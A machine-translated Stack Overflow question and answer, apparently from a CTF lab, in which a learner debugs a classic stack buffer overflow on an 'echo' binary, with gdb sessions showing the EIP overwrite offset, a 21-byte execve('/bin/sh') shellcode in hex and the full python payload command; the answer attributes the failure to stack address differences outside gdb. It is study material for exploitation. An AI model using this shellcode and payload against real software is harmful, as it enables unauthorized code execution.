簡體   English   中英

C簡單緩沖區溢出

[英]C Simple Buffer Overflow

我正在嘗試了解緩沖區溢出如何工作以及如何使用它。 我通過嘗試利用提供的二進制文件來解決一個簡單的挑戰(后門實驗室回聲挑戰)。

(請參閱: http : //hack.bckdr.in/ECHO/echo

我認為我所做的一切都正確(根據我一直在閱讀的指南和教程),但仍然無法正常工作,現在已經使我瘋狂了幾個小時。

bufferoverflow讓我重寫了下一條指令(eip)。

(gdb) run <<< $(python -c 'print "A"*62+"BBBB"')    

The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /tmp/vul <<< $(python -c 'print "A"*62+"BBBB"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)

因此,我能夠覆蓋下一個eip,現在讓我們添加一些21字節的shell代碼,該代碼會生成一個shell並嘗試查找它所在的地址。

(gdb) run <<< $(python -c 'print "A"*62+"BBBB"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /tmp/vul <<< $(python -c 'print "A"*62+"BBBB"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB1▒▒▒Qh//shh/bin▒▒
         ̀

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/100x $sp
0xbffff750:     0xe1f7c931      0x2f2f6851      0x2f686873      0x896e6962
0xbffff760:     0xcd0bb0e3      0xbfff0080      0xbffff80c      0xb7fff3d0
0xbffff770:     0x08048480      0xffffffff      0x0012efc4      0x080482d8
0xbffff780:     0x00000001      0xbffff7c0      0x0011eb25      0x0012fab0

賓果游戲的shellcode就在這里加載在0xbffff750上,所以這就是我們要向eip尋址的地址。

到目前為止,一切對我來說都很合適,因此我嘗試使用找到的正確值進行嘗試。

(gdb) run <<< $(python -c 'print "A"*62+"\x50\xf7\xff\xbf"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
Starting program: /tmp/vul <<< $(python -c 'print "A"*62+"\x50\xf7\xff\xbf"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP▒▒▒1▒▒▒Qh//shh/bin▒▒
         ̀

Program received signal SIGSEGV, Segmentation fault.
0xbffff750 in ?? ()
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.192.el6.i686
(gdb)


(gdb) x/i $eip
=> 0xbffff750:  xor    %ecx,%ecx
(gdb)

eip更改為正確的地址,並且shellcode設置到位,但是,當我在shell中嘗試使用它時,它無法正常工作,並且仍然會出現段錯誤,如您所見。

[rick@TESTBOX tmp]$ ./vul <<< $(python -c 'print "A"*62+"\x50\xf7\xff\xbf"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP▒▒▒1▒▒▒Qh//shh/bin▒▒
         ̀
Segmentation fault
[rick@TESTBOX tmp]$

這里有人對此有任何想法,看到錯誤或有其他想法嗎? 如前所述,我是一個嘗試理解基本原理的新手,顯然我在做錯什么。

我認為您的問題是:

程序的實際執行與gdb控制的程序之間存在差異。

你需要

  1. 預測這種差異。 這個問題舉了一個例子。

要么

  1. 我還幾個月前面對了您的問題。 當時,我觀察到了這種差異。 但是我沒有使用這種方法來找到差異,而是使用了《剝削的藝術》 0x331中的蠻力方式:使用shell腳本嘗試不同的偏移量。

這個問題將來可能會對您有所幫助,它告訴您如何關閉某些安全功能以進行攻擊。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM